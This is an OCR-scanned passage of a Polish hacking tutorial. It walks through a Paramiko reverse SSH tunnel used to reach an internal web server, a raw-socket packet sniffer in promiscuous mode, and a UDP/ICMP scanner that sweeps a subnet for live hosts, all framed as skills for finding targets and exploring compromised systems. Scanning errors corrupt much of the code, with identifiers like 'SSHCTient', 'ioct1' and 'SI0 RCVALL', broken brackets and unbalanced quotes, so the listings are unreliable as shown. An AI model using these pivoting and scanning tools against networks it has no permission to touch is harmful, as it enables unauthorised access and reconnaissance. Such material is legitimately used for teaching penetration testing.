Tunelowanie SSH jest niesamowite, ale czasami trudno zrozumie¢ jego zasady
i sposob konfiguracji, zwlaszcza gdy chodzi o odwrotny tunel SSH.

Przypomne, ze naszym celem jest uzyskanie mozliwosci wykonywania pole-
cen wpisywanych w kliencie SSH na zdalnym serwerze SSH. Gdy uzywany jest
tunel SSH, wpisywane polecenia nie sa wysylane do serwera, tylko ruch siecio-
wy jest pakowany i przesylany w SSH, a potem rozpakowywany i dostarczany
przez serwer SSH.

Wyobraz sobie, ze znajdujesz sie w nastepujacej sytuacji: masz zdalny do-
step do serwera SSH w wewnetrznej sieci, ale chcesz mie¢ dostep do serwera
sieciowego w tej sieci. Nie mozesz bezposrednio dostaé sie do tego serwera sie-
ciowego, ale dostep taki ma serwer SSH, tylko ze ten z kolei nie ma zainstalo-
wanych potrzebnych Ci narzedzi.

Jednym z rozwigzan tego problemu jest utworzenie tunelu SSH. Nie zagle-
biajac sie zbytnio w szczegdly, polecenie ssh -L 8008:web:80 justin@sshserver
spowoduje polaczenie z serwerem SSH uzytkownika justin i skonfigurowanie
portu 8008 w naszym lokalnym systemie. Wszystko, co wyslemy do portu 8008,
bedzie przesylane przez istniejgcy tunel SSH do serwera SSH i dostarczane do
serwera sieciowego. Proces ten zilustrowano na rysunku 2.2.

127.0.0.1
Port 8008

Klient SSH

. . . Serwer sieciowy
Uproszczony schemat dziatania polecenia

ssh -L 8008:web:80 justin@sshserver Sie¢ docelowa

Rysunek 2.2. Tunelowanie SSH
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Wszystko byloby $wietnie, gdyby nie fakt, ze mato ktéry system Windows
ma wlaczong usluge serwera SSH. Ale nawet w tej sytuacji nie wszystko jest
stracone, poniewaz w razie potrzeby zawsze mozna skonfigurowaé odwrotne
polaczenie tunelowe SSH. Polega to na polaczeniu sie w normalny sposéb z wla-
snym serwerem SSH z klienta Windows. Za posSrednictwem tego polaczenia
okreslamy tez zdalny port na serwerze SSH, ktéry bedzie tunelowany do lokal-
nego hosta i portu (jak pokazano na rysunku 2.3). Przy uzyciu tego hosta i portu
mozna na przyklad udostepnié port 3389 systemowi wewnetrznemu przy uzyciu
pulpitu zdalnego lub innego systemu, do ktérego ma dostep klient Windows
(w naszym przykladzie jest to serwer sieciowy).

127.0.0.1
Port 8008

Serwer SSH

. . . Serwer sieciowy
Uproszczony schemat dziatania polecenia

ssh -L 8008:web:80 justin@sshserver Sie¢ docelowa

Rysunek 2.3. Tunelowanie odwrotne SSH

Wsréd plikéw demonstracyjnych Paramiko znajduje sie plik o nazwie
rforward.py, ktory stuzy wlasnie do realizacji opisanych cel6w. Dziata doskonale
bez zadnych zmian, wiec ponizej przedstawiam tylko jego wybrane fragmenty
oraz przyktad uzycia. Otworz plik rforward.py i przejdz do funkeji main().

def main():

options, server, remote = parse options()

password = None

if options.readpass:
password = getpass.getpass('Podaj hasto SSH: ')

client = paramiko.SSHCTient()

client.load_system host_keys()

client.set missing_host _key policy(paramiko.WarningPolicy())

verbose('taczenie z hostem SSH %s:%d ...' % (server[0], server[1]))

try:
client.connect(server[0], server[1l], username=options.user,
>key_filename=options.keyfile, look for_keys=options.look_for keys,
>password=password)

except Exception as e:
print('*** Nie udato sie nawiaza¢ potaczenia z %s:%d:
> (server[0], server[l], e))
sys.exit(1)

N
3
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verbose('Przekierowywanie zdalnego portu %d do %s:%d ...
> (options.port, remote[0], remote[1]))

try:
(3] reverse forward tunnel(options.port, remote[0], remote[l],
>client.get_transport())
except KeyboardInterrupt:
print('C-c: Zatrzymano przekierowywanie portu.')
sys.exit(0)

Na poczatku skryptu @ sprawdzamy, czy zostaly przekazane wszystkie po-
trzebne argumenty, i dopiero potem nawigzujemy polgczenie z klientem SSH
Paramiko @ (to powinno wygladaé¢ znajomo). W ostatniej czesci przedstawionej
funkcji main() znajduje sic wywolanie funkeji reverse forward_tunnel ©.

Przyjrzyjmy sie jej.

def reverse forward_tunnel(server port, remote_host, remote port, transport):

(4] transport.request_port forward('', server port)
while True:
(5] chan = transport.accept(1000)
if chan is None:
continue
(6] thr = threading.Thread(target=handler, args=(chan, remote_ host,

“>remote_port))

thr.setDaemon (True)
thr.start()

W Paramiko dostepne sa dwie metody komunikacji — transport do tworzenia
i utrzymywania zaszyfrowanych polaczen oraz channel, ktéra dziata jak gniazdo
do wysylania i odbierania danych przez zaszyfrowang sesje transportowsg. W tym
przykladzie za pomocg funkeji Paramiko request_port forward przekierowujemy
polaczenia TCP z portu @ na serwerze SSH i uruchamiamy nowy kanat trans-
portowy @. Nastepnie poprzez tunel wywotujemy funkeyjng procedure obstugi @.
Ale to jeszcze nie wszystko.

def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose('Przekierowanie zadania do %s:%d nie powiodto sie: %r' %
> (host, port, e))
return
verbose('Potgczono! Tunel otwarty %r -> %r -> %r' % (chan.origin_addr,
>chan.getpeername(),
> (host, port)))
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while True: @

r, w, x = select.select([sock, chan], [1, [1)
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose('Tunel zamkniety z %r' % (chan.origin_addr,))

Teraz w koncu dane sg przesylane i odbierane @.
Wyprébujmy to, co stworzyli$my.

Czy to w ogdle dziata

Uruchomimy skrypt rforward.py w systemie Windows i skonfigurujemy go jako
posrednig warstwe podczas tunelowania ruchu z serwera sieciowego do naszego
serwera SSH Kali.

C:\tmp\demos>rforward.py 192.168.100.133 -p 8080 -r 192.168.100.128:80 --user
>justin --password
Podaj hasto SSH:
taczenie z hostem SSH 192.168.100.133:22 ...
C:\Python27\1ib\site-packages\paramiko\client.py:517: UserWarning: Unknown ssh-r
sa host key for 192.168.100.133: cb28bb4e3ec68e2af4847a427f08aa8b

(key.get name(), hostname, hexlify(key.get fingerprint())))
Przekierowywanie zdalnego portu 8080 do 192.168.100.128:80 ...

W systemie Windows zostanie nawigzane polaczenie z serwerem SSH pod
adresem 192.168.100.133 i zostanie otwarty port 8080 tego serwera, a ruch bedzie
przekierowywany na adres 192.168.100.133 i port 80. Jesli teraz w Linuksie
wejde pod adres http://127.0.0.1:8080, polacze sie z serwerem sieciowym pod
adresem 192.168.100.128 przez tunel SSH, jak pokazano na rysunku 2.4.

127.0.0.1:6080 vel » =

Nazwra uzytkownika: [

Hasto: [

Zapisz

Rysunek 2.4. Przykfad odwrotnego tunelu SSH

Podstawowe wiadomosci o sieci 51


http://127.0.0.1:8080

52

Jesli przejdziesz z powrotem do Windowsa, zauwazysz, ze zostalo nawigzane
polaczenie w Paramiko:

Potaczono! Tunel otwarty (u'l27.0.0.1', 54537) -> ('192.168.100.133', 22) ->
>('192.168.100.128"', 80)

SSH i tunelowanie SSH koniecznie trzeba zna¢ i rozumieé¢. Wiedza, kiedy
i jak uzywa¢ SSH i tunelowania SSH, jest bardzo wazng umiejetnoscia kazdego
hakera. Paramiko to narzedzie pozwalajace dodaé¢ obstuge SSH do Twoich
skryptéw w Pythonie.

W rozdziale tym stworzylismy kilka prostych, ale niezwykle przydatnych na-
rzedzi. Mozesz je rozszerza¢ i dostosowywaé do wlasnych potrzeb. Najwazniej-
sze jest, aby§ dobrze zrozumial narzedzia Pythona do pracy w sieci, by przy ich
uzyciu méc wykonywaé testy penetracyjne, szpera¢ w zhakowanym systemie
albo wyszukiwa¢ bledy. Teraz przejdziemy do surowych gniazd i szperania w sieci,
a potem wykorzystamy zdobyta wiedze do utworzenia w Pythonie skanera do wy-
krywania host6w.
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Sie€c — surowe gniazda
I SZperacze sieciowe

SZPERACZE LUB TROPICIELE SIECIOWE (ANG. NETWORK SNIFFER) UMOZLIWIA]A
PODGLADANIE PAKIETOW PRZECHODZACYCH PRZEZ WYBRANY KOMPUTER. MAJA
WIEC WIELE PRAKTYCZNYCH ZASTOSOWAN ZAROWNO PRZED, JAK I PO ZASTO-
SOWANIU eksploita. Czasami mozna uzy¢ programu Wireshark (hitp://wireshark.
org/) do monitorowania ruchu lub Pythonowego rozwigzania typu Scapy
(o ktérym bedzie mowa w nastepnym rozdziale). W kazdym razie umiejet-
no$¢ szybkiego wysmazenia szperacza, aby podejrzeé i rozszyfrowaé ruch sie-
ciowy, bywa bardzo przydatna. Poza tym piszac takie narzedzie, mozna bardziej
doceni¢ dojrzate narzedzia, ktére pozwalajg bezproblemowo wykonaé¢ wiele
czynno$ci przy niewielkim wysitku. Co wiecej, przy okazji mozna nauczyé sie
nowych technik programowania w Pythonie i lepiej zrozumieé¢ niskopoziomowe
mechanizmy dzialania sieci.


http://wireshark.org/
http://wireshark.org/

W poprzednim rozdziale pokazatem, jak wysylaé i odbieraé¢ dane przy uzy-
ciu TCP i UDP, i opisanych tam technik bedziesz zapewne najczesciej uzywaé
do pracy z ustugami sieciowymi. Ale pod tymi wysokopoziomowymi protokota-
mi znajdujg sie podstawowe mechanizmy rzadzace przesylaniem pakietéw. Przy
uzyciu surowych gniazd mozna dosta¢ sie do niskopoziomowych informacji sie-
ciowych, takich jak surowe nagtéwki IP i ICMP. Nas interesuje tylko warstwa IP
i wyzsze, wiec nie bedziemy dekodowaé informacji Ethernet. Oczywiscie gdybys
chcial przeprowadza¢ niskopoziomowe ataki, takie jak pozycjonowanie ARE albo
planowal napisa¢ narzedzia do bezprzewodowego przeprowadzania audytéw, to
musisz szczeg6towo zapoznaé sie z budowa ramek Ethernet i ich zastosowaniami.

Zaczniemy od poznania technik wykrywania aktywnych hostéw w segmen-
cie sieci.

Budowa narzedzia UDP do wykrywania hostow
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Gléwnym celem naszego szperacza jest wykrywanie hostéow w wybranej sieci
przy uzyciu protokolu UDP. Haker musi mie¢ mozliwo$¢ wykrycia wszystkich
potencjalnych celé6w w sieci, aby méc skoncentrowaé sie na odpowiedniej
maszynie.

Aby dowiedzieé sie, czy pod okreslonym adresem IP znajduje sie aktywny
host, wykorzystamy znany sposéb zachowania wiekszo$ci systeméw operacyj-
nych przy obstudze zamknietych portéw UDP. Gdy wysle sie datagram UDP do
zamknietego portu na hoscie, host ten najczesciej odsyta wiadomosé ICMP in-
formujaca, ze port ten jest niedostepny. Wiadomosé ta jest jednak swiadectwem,
ze sam host jest aktywny. Gdyby$my nie otrzymali zadnej odpowiedzi, wnio-
skowaliby$my, ze hosta nie ma. Bardzo wazne jest, aby wybra¢ taki port UDP,
ktéry najprawdopodobniej nie bedzie uzywany, a dla pewnosci najlepiej jest
wybrad¢ kilka portéw.

Dlaczego UDP? Z rozestaniem wiadomosci po calej podsieci i oczekiwa-
niem na odpowiedzi ICMP nie wigze sie zaden narzut. Taki skaner jest bardzo
tatwy w budowie, a wiekszo$é pracy i tak dotyczy dekodowania i analizowania
réznych nagtéwkéw protokotu sieciowego. Skaner ten zaimplementujemy za-
réwno dla systemu Windows, jak i Linux, aby zmaksymalizowaé szanse na wy-
korzystanie go w srodowisku firmowym.

W razie potrzeby mozna by bylo dodaé¢ mechanizm wykonujacy za pomocg
programu Nmap skanowanie portéw na wszystkich wykrytych hostach w celu
dowiedzenia sie, czy sg jakies potencjalne stabe punkty do zaatakowania. Ale
pozostawiam to jako zadania do samodzielnego wykonania. Ucieszylbym sie tez
z informacji o kreatywnych sposobach rozwiniecia przedstawionego przeze mnie
podstawowego rozwigzania. Bierzemy sie do pracy.
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Tropienie pakietéw w Windowsie i Linuksie

W systemie Windows dostep do surowych gniazd uzyskuje sie nieco inaczej niz
w systemie Linux, ale chcieliby$Smy, aby nasz szperacz dziatal bez zarzutu na
roznych platformach. Najpierw bedziemy tworzy¢ obiekt gniazda, a potem be-
dziemy sprawdza¢, na ktérej platformie jestesmy. System Windows wymaga
ustawienia kilku dodatkowych flag poprzez gniazdowe wywotanie IOCTL (ang.
input/output control)' w celu wlaczenia trybu nieograniczonego w interfejsie
sieciowym. W pierwszym przyktadzie utworzymy po prostu tropiciela surowych
gniazd, wezytamy jeden pakiet i zakonczymy prace.

import socket
import os

# host do nastuchiwania
host = "192.168.0.196"

# utworzenie surowego gniazda i powigzanie go z interfejsem publicznym

if os.name == "nt":
o socket_protocol = socket.IPPROTO_IP
else:

socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK RAW, socket protocol)

sniffer.bind((host, 0))

# Przechwytujemy tez nagléwki IP
® sniffer.setsockopt(socket.IPPROTO_IP, socket.IP HDRINCL, 1)

# Jesli uzywamy systemu Windows, to musimy wystac wywotanie IOCTL,
# aby wlqczyc tryb nicograniczony
® if os.name == "nt":
sniffer.ioct1(socket.SI0 RCVALL, socket.RCVALL ON)

# wcezytanie pojedynczego pakietu
® print sniffer.recvfrom(65565)

# Jesli uzywany jest system Windows, wylgczamy tryb nieograniczony
© if os.name == "nt":
sniffer.ioct1(socket.SI0 RCVALL, socket.RCVALL OFF)

Najpierw tworzymy obiekt gniazda przy uzyciu parametré6w potrzebnych do
tropienia pakietéw w naszym interfejsie sieciowym @. R6znica miedzy syste-
mami Windows i Linux polega na tym, ze Windows pozwala tropi¢ wszystkie

' IOCTL (ang. input/output control) to technika pozwalajaca programom z przestrzeni uzytkownika

komunikowa¢ sie ze sktadnikami trybu jadra. Wiecej informacji na ten temat mozna znalez¢é na stronie
http:/fen.wikipedia.org/wiki/Ioctl.
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przychodzace pakiety bez wzgledu na protokél, a Linux wymaga okreSlenia, ze
nastluchujemy wiadomosci ICMP. Zwr6é uwage, ze wykorzystujemy tryb nie-
ograniczony, ktéry wymaga uprawniefi administratora w Windowsie i uzytkow-
nika root w Linuksie. Tryb ten pozwala na tropienie wszystkich pakietéw wy-
krywanych przez karte sieciowa, nawet tych, ktére nie sg przeznaczone dla
interesujacego nas hosta. Nastepnie ustawiamy opcje gniazda @ powodujaca, ze
przechwytywa¢ bedziemy takze nagléwki IP pakietéw. Kolejnym krokiem jest
sprawdzenie, czy uzywany jest system Windows. Jezeli tak, wysytlamy wywolanie
IOCTL do sterownika karty sieciowej w celu wlgczenia trybu nieograniczonego.
Jesli uruchomites system Windows w maszynie wirtualnej, to mozesz otrzymac
informacje, ze system operacyjny gosé wlacza tryb nieograniczony. Oczywiscie
nalezy na to zezwolié. Teraz mozemy zaczaé szperanie w sieci. W tym przypadku
ograniczamy sie tylko do wydrukowania catego surowego pakietu @ bez deko-
dowania. Chodzi po prostu o przetestowanie, czy nasz podstawowy kod dziata.
Po wytropieniu jednego pakietu ponownie sprawdzamy, czy uzywamy systemu
Windows, i przed zamknieciem skryptu wylgczamy tryb nieograniczony ©.

Czy to w ogdle dziata

Otwoérz okno konsoli lub uruchom program cmd.exe w systemie Windows i wy-
konaj ponizsze polecenie:

python sniffer.py

W drugim oknie terminala lub wiersza poleceni wyslij ping do dowolnego hosta,
np. nostarch.com:

ping nostarch.com

W pierwszym oknie, w ktérym jest uruchomiony szperacz, powinny pojawic¢
sie niezrozumiate dane podobne do pokazanych ponizej:

("E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x00\x01\
>x04\x01\x005\x008&\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\
>x08nostarch\x03com\x00\x00\x01\x00\x01"', ('192.168.0.187', 0))

Jak widaé, przechwycilismy wiadomosé ICMP pierwszego zadania ping prze-
znaczonego dla hosta nostarch.com (na podstawie wygladu laficucha nostarch.com).
Jesli uruchomiles ten przyktad w systemie Linux, to otrzymasz odpowiedZ od
serwera znajdujacego sie pod podanym adresem. Wytropienie jednego pakietu
to nie jest jednak szczyt naszych marzen, wiec rozszerzymy funkcjonalno$é na-
szego skryptu o mozliwo$é¢ przetwarzania wiekszej liczby pakietéw i dekodowa-
nia ich tresci.
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Dekodowanie warstwy IP

Nasz szperacz w obecnej formie odbiera wszystkie nagtéwki IP wraz z proto-
kotami wyzszego poziomu, takimi jak TCE, UDP czy ICMP. Informacje sq w po-
staci binarnej i jak pokazalem powyzej, raczej trudno je zrozumieé. Dlatego te-
raz postaramy sie zdekodowaé czesé IP pakietu, aby wydobyé z niego przydatne
informacje, takie jak typ protokotu (TCE, UDE ICMP) oraz zrédtowy i docelowy
adres IP. Program ten bedzie podstawa do dalszej rozbudowy narzedzia do prze-
twarzania informacji z protokotéw.

Jesli doktadnie przyjrzysz sie pakietowi sieciowemu, to od razu zrozumiesz,
w jaki sposéb mozna zdekodowaé przychodzace pakiety. Na rysunku 3.1 ukazana
jest budowa nagléwka IP.

Protokot internetowy

Bity 0-3 4-7 8-15 16-18 | 19-31

0 Wersja n?guig:/élfa Typ ustugi Catkowita dtugosc

32 Numer identyfikacyjny Flagi | Przesuniecie
64 Czas zycia Protokét Suma kontrolna nagtéwka
96 Zrédtowy adres IP
128 Docelowy adres IP
160 Opcje

Rysunek 3.1. Struktura typowego nagféwka IPv4

Rozszyfrujemy caly nagléwek IP (oprécz pola opcji) i wydobedziemy z niego
typ protokotu oraz zrédtowy i docelowy adres IP. Uzycie modutu Pythona ctypes
do tworzenia struktur takich jak w jezyku C umozliwi nam obsluge nagléwka i je-
go pol sktadowych przy uzyciu odpowiedniego do tego celu formatu. Najpierw
przyjrzymy sie definicji struktury nagltéwka IP w jezyku C.

struct ip {

u_char ip_hl:4;
u_char ip_v:4;
u_char  ip_tos;
u_short ip_len;
u_short ip_id;
u_short ip_off;
u_char ip_ttl;
u_char ip_p;
u_short ip_sum;
u_long ip_src;
u_lTong ip_dst;
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Tak bedzie wygladalo odwzorowanie struktury C na warto$ci nagléwka IP.
Wykorzystanie struktury C jako pomocy przy translacji danych na obiekt Pythona
pozwala na tatwa konwersje do Pythona. Na marginesie, pola ip h11i ip v maja
dodatkowy sktadnik (:4) oznaczajacy, ze sa to pola bitowe o szerokosci 4 bitéw.
W rozwigzaniu wykorzystamy tylko kod Pythona, aby mie¢ pewno$é, ze pola
zostang prawidtowo odwzorowane i nie bedzie trzeba wykonywaé operacji na
bitach. Naszg procedure dekodujacg zaimplementujemy w pliku o nazwie
sniffer_ip_header_decode.py, jak pokazano ponize;j.

import socket

import os

import struct

from ctypes import *

# host do nastuchiwania

host = "192.168.0.187"
# naglowek IP
@ class IP(Structure):
_fields_ = [
("ih1", c_ubyte, 4),
"version", c_ubyte, 4),
("tos", c_ubyte),
("1en", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("tt1", c_ubyte),
("protocol_num", c_ubyte),
"sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]

def _new_ (self, socket buffer=None):
return self.from buffer_copy(socket_buffer)

def __init_ (self, socket buffer=None):

# mapowanie stalych protokoléw na ich nazwy
self.protocol _map = {1:"ICMP", 6:"TCP", 17:"UDP"}

(2] # adresy IP czytelne dla czlowicka
self.src_address = socket.inet ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))

# protokdl czytelny dla czlowieka
try:

self.protocol = self.protocol_map[self.protocol_num]
except:

self.protocol = str(self.protocol_num)
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# To powinno wyglgdac znajomo dzigki poprzedniemu przyktadowi

if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:

socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK RAW, socket protocol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == "nt":
sniffer.ioct1(socket.SIO RCVALL, socket.RCVALL ON)

try:
while True:

# wezytanie jednego pakietu
raw_buffer = sniffer.recvfrom(65565) [0]

# utworzenie nagléwka IP z 20 pierwszych bajtéw z bufora
ip_header = IP(raw_buffer[0:20])

# wydruk wykrytego protokotu i hostow
print "Protokd¥: %s %s -> %s" % (ip_header.protocol,
—>ip_header.src_address, ip_header.dst_address)

# obstuga kombinacji klawiszy Ctrl+C
except KeyboardInterrupt:
# Jesli uzywany jest system Windows, wylgczamy tryb nieograniczony
if os.name == "nt":
sniffer.ioct1(socket.SI0 _RCVALL, socket.RCVALL_OFF)

Pierwsza czynnoscig jest zdefiniowanie struktury ctypes Pythona @ mapujace;j
pierwszych 20 bajtéw otrzymanego bufora na przyjazny nagléwek IP. Jak widad,
wszystkie zidentyfikowane przez nas pola pasuja do wezesniejszej struktury C.
Metoda __new__ klasy IP pobiera surowy bufor (w tym przypadku to, co otrzy-
mamy z sieci) i tworzy z niego strukture. Zanim zostanie wywolana metoda
__init_, metoda _new__ skoficzy przetwarzanie bufora. W metodzie __init__
wykonujemy tylko troche czynnosci porzadkowych majacych na celu zapewnie-
nie czytelnych wynikéw w postaci nazwy protokotu i adreséw IP @.

Majac strukture IP, mozemy dodaé mechanizm odczytywania pakietéw i prze-
twarzania zawartych w nich informacji. Pierwszym krokiem jest wczytanie pa-
kietu ©, a nastepnym przekazanie pierwszych 20 bajtéw @ do zainicjowania
struktury. P6zniej drukujemy zdobyte informacje . Wyprébujmy to.
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Czy to w ogdle dziata

Przetestujemy napisany skrypt, aby sprawdzié, jakie informacje uda nam sie
wydoby¢ z surowych pakietéw. Zdecydowanie zalecam wykonanie tego testu na
komputerze z systemem Windows, w ktérym to systemie mozna obejrzeé dane
TCP, UDP i ICMP, co pozwoli na przeprowadzenie bardzo ciekawych testéw
(np. otwarcie przegladarki internetowej). Jesli jednak dysponujesz tylko Linuksem,
mozesz wykonaé¢ poprzedni test z pingiem.

Uruchom terminal i wpisz ponizsze polecenie:

python sniffer_ip_header_decode.py

System Windows jest dos$¢ gadatliwy, wiec wynik powinien pojawié¢ sie w oknie
natychmiast. Przetestowatem ten skrypt, uruchamiajac przegladarke Internet
Explorer i otwierajac strone www.google.com. Oto wyniki, jakie otrzymatem:

Protokdt: UDP 192.168.0.190 -> 192.168.0.1

Protokot: UDP 192.168.0.1 -> 192.168.0.190

Protokot: UDP 192.168.0.190 -> 192.168.0.187
Protokot: TCP 192.168.0.187 -> 74.125.225.183
Protokdt: TCP 192.168.0.187 -> 74.125.225.183
Protokot: TCP 74.125.225.183 -> 192.168.0.187
Protokdt: TCP 192.168.0.187 -> 74.125.225.183

Jako ze nie badamy pakietéw zbyt doglebnie, mozemy tylko zgadywa¢, co
oznacza ten strumiefi danych. Podejrzewam, ze te kilka pierwszych pakietéw
UDP zawiera zapytania DNS majace na celu zlokalizowanie hosta google.com,
a znajdujgce sie za nimi sesje TCP reprezentuja proces taczenia sie i pobierania
tre$ci z serwera przez moj komputer.

Aby przeprowadzi¢ ten sam test na Linuksie, mozna wystaé polecenie ping
do google.com. Wynik powinien by¢ mniej wiecej taki:

Protokdot: ICMP 74.125.226.78 -> 192.168.0.190
Protokot: ICMP 74.125.226.78 -> 192.168.0.190
Protokot: ICMP 74.125.226.78 -> 192.168.0.190

Od razu widaé réznice — skrypt pokazal nam tylko odpowiedz i tylko dla
protokolu ICMP. Ale jako ze budujemy skaner do wykrywania hostéw, w ogéle
nam to nie przeszkadza. Teraz zastosujemy te same techniki co wezesniej do
dekodowania wiadomosci ICMP,
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Dekodowanie danych ICMP

o

Umiemy juz zdekodowaé warstwe IP wszystkich wytropionych pakietéw, wiec
teraz sprobujemy zdekodowaé¢ odpowiedzi ICMP, ktére nasz skaner otrzyma
dzieki wysylaniu datagraméw UDP do zamknietych portéw. Wiadomosci ICMP
mogg sie bardzo rézni¢ pod wzgledem zawartosci, ale kazda z nich na pewno
zawiera trzy pola — typ, kod i suma kontrolna. Pola typu i kodu informuja hosta
odbierajacego wiadomo$é o tym, jakiego typu wiadomos$é ICMP zostata prze-
stana. Na tej podstawie p6Zniej przeprowadza sie dekodowanie.

W naszym skanerze bedziemy szuka¢ warto$ci 3 zaréwno dla pola typu, jak
i kodu. Wartosé ta oznacza klase Destination Unreachable wiadomosci ICMP,
a kod o tej wartosci sygnalizuje blad oznaczajgcy niedostepno$é portu. Na ry-
sunku 3.2 przedstawiono schemat budowy wiadomos$ci ICMP Destination
UnreachabTe.

Wiadomos¢ Destination Unreachable

0-7 8-15 16 - 31
Typ=3 Kod Suma kontrolna nagtéwka
Nieuzywane MTU nastepnego przeskoku

Nagtéwek IP i 8 pierwszych bajtéw danych datagramu

Rysunek 3.2. Schemat budowy wiadomosci ICMP Destination Unreachable

Jak widaé, osiem pierwszych bitéw okresla typ, a osiem nastepnych zawiera
kod ICMP. Warto zauwazy¢, ze gdy host wysyla jedng z tych wiadomosci ICMP,
to w rzeczywistosci dodaje nagltéwek IP poczatkowej wiadomosci, ktéra spowo-
dowata wygenerowanie odpowiedzi. Ponadto widaé, ze musimy dokladnie spraw-
dzi¢ osiem bajtéw oryginalnego datagramu, ktéry zostal wystany, aby upewnié
sie, ze nasz skaner wygenerowal odpowiedz ICMP. W tym celu odcinamy ostat-
nich osiem bajtéw otrzymanego bufora, aby wydobyé magiczny taficuch, ktéry
nasz skaner wysyla.

Teraz rozszerzymy nasz poprzedni szperacz o mozliwosé dekodowania pa-
kietow ICMP. Zapisz poprzedni plik pod nazwa sniffer_with_ismp.py i dodaj do
niego ponizszy kod:

-- pominiecie --
class IP(Structure):
-- pominiecie --

class ICMP(Structure):

_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
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("unused", c_ushort),
("next_hop_mtu", c_ushort)

]

def _new_ (self, socket buffer):
return self.from buffer_copy(socket buffer)

def _ init_ (self, socket_buffer):
pass
-- pominiecie --
print "Protokét: %s %s -> %s" % (ip_header.protocol,
>ip_header.src_address, ip_header.dst_address)

# j=Jesli to jest wiadomosé ICMP, to chcemy jg
if ip_header.protocol == "ICMP":

# Obliczamy poczqtek pakietu ICMP
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]

# Tworzymy strukturg ICMP
icmp_header = ICMP(buf)

print "ICMP -> Typ: %d Kod: %d" % (icmp_header.type,
>icmp_header.code)

Ten prosty fragment kodu tworzy strukture 1CMP @ pod istniejaca juz struk-
turg IP. Gdy gléwna petla pobierajaca pakiety stwierdzi, ze odebralismy pakiet
ICMP @, obliczamy, w ktérym miejscu surowego pakietu znajduje sie tre$é
wiadomosci ICMP @, a nastepnie tworzymy bufor @ i drukujemy zawartos$é pél
type i code. Obliczenia dlugosci opieramy na polu ih1 nagléwka IP, ktére okre-
§la liczbe 32-bitowych stéw (4-bajtowych kawatkéw) sktadajacych sie na nagls-
wek IP. Zatem mnozac wartosé tego pola przez cztery, obliczamy rozmiar na-
gléwka IP i w ten sposéb dowiadujemy sie, w ktérym miejscu zaczyna sie nastepna
warstwa sieci — w tym przypadku ICMP.

Jesli przeprowadzimy podstawowy test z uzyciem polecenia ping i tego
skryptu, to otrzymamy troche inny wynik niz poprzednio:

Protokot: ICMP 74.125.226.78 -> 192.168.0.190
ICMP -> Typ: 0 Kod: 0

To wskazuje, ze odpowiedzi na zadanie ping (echo ICMP) sa odbierane i de-
kodowane prawidlowo. Mozemy zatem zaimplementowaé ostatnia cze$é¢ logiki
do wysylania datagraméw UDP i interpretowania wynikéw.

Skorzystamy z modutu netaddr, aby za pomoca naszego skanera przeszukad
cala podsie¢. Zapisz plik sniffer_with_icmp.py pod nazwg scanner.py i dodaj do
niego ponizszy kod:
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import threading

import time

from netaddr import IPNetwork,IPAddress
-- pominiecie --

# host do nastuchiwania
host = "192.168.0.187"

# docelowa podsiec
subnet = "192.168.0.0/24"

# magiczny lancuch, dla ktérego bedziemy sprawdzac odpowiedzi ICMP
©® magic_message = "PYTHONRULES!"

# Rozsyla datagramy UDP
® def udp_sender(subnet,magic_message):
time.sleep(5)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for ip in IPNetwork(subnet):

try:
sender.sendto(magic_message, ("%s" % ip,65212))
except:
pass
-- pominiecie --

# rozpoczecie wysylania pakietéw
©® t = threading.Thread(target=udp_sender,args=(subnet,magic_message))
t.start()

-- pominiecie --

try:
while True:
-- pominiecie --
#print "ICMP -> Typ: %d Kod: %d" % (icmp_header.type, icmp_header.code)

# sprawdzenie typu i kodu 3
if icmp_header.code == 3 and icmp_header.type ==

# upewnienie sig, Zze host znajduje si¢ w docelowej podsieci
o if IPAddress(ip_header.src_address) in IPNetwork(subnet):

# sprawdzenie, czy jest nasza magiczna wiadomosé
(5] if raw_buffer[len(raw_buffer)-len(magic_message):] ==
>magic_message:
print "Host: %s" % ip_header.src_address

Sie¢ — surowe gniazda i szperacze sieciowe 63



64

Zrozumienie tego ostatniego fragmentu kodu nie powinno byé trudne. Defi-
niujemy zwykly tancuch @, aby méc sprawdzaé, czy nadchodzace odpowiedzi
dotyczg pakietéw UDE ktére pierwotnie wyslalismy. Nasza funkcja udp_sender @
pobiera podsieé zdefiniowang na poczatku skryptu, iteruje przez wszystkie ad-
resy IP tej podsieci i wysyla do nich datagramy UDP. W treséci gléwnej naszego
skryptu, zaraz przed gléwng petla dekodujgcg pakiety, uruchamiamy funkcje
udp_sender w osobnym watku @, aby mie¢ pewnos¢, ze nie zaklécimy tropienia
odpowiedzi. Jezeli wykryjemy spodziewang wiadomosé ICMP, najpierw spraw-
dzamy, czy odpowiedz pochodzi z naszej docelowej podsieci @. Nastepnie wy-
konujemy ostatni test majacy na celu sprawdzenie, czy odpowiedz ICMP za-
wiera nasz magiczny tekst @. Jesli wszystkie te testy zakoficza sie pomyslnie,
drukujemy Zrédlowe adresy IP pochodzenia wiadomosci ICMP. Wyprébujemy
to osobiscie.

Czy to w ogdle dziata

Wyprébujemy nasz skaner w lokalnej sieci. Mozesz uzyé zaréwno systemu
Windows, jak i Linux, bo wyniki i tak powinny by¢ takie same. Moja lokalna ma-
szyna miala adres IP 192.168.0.187, wiec ustawilem skaner na 192.168.0.0/24.
Jesli wyniki sg nieczytelne, wylacz za pomocy komentarza wszystkie instrukcje
drukowania oprécz ostatniej, informujacej o tym, ktére hosty odpowiadaja.

c:\Python27\python.exe scanner.py
Host: 192.168.0.1

Host: 192.168.0.190

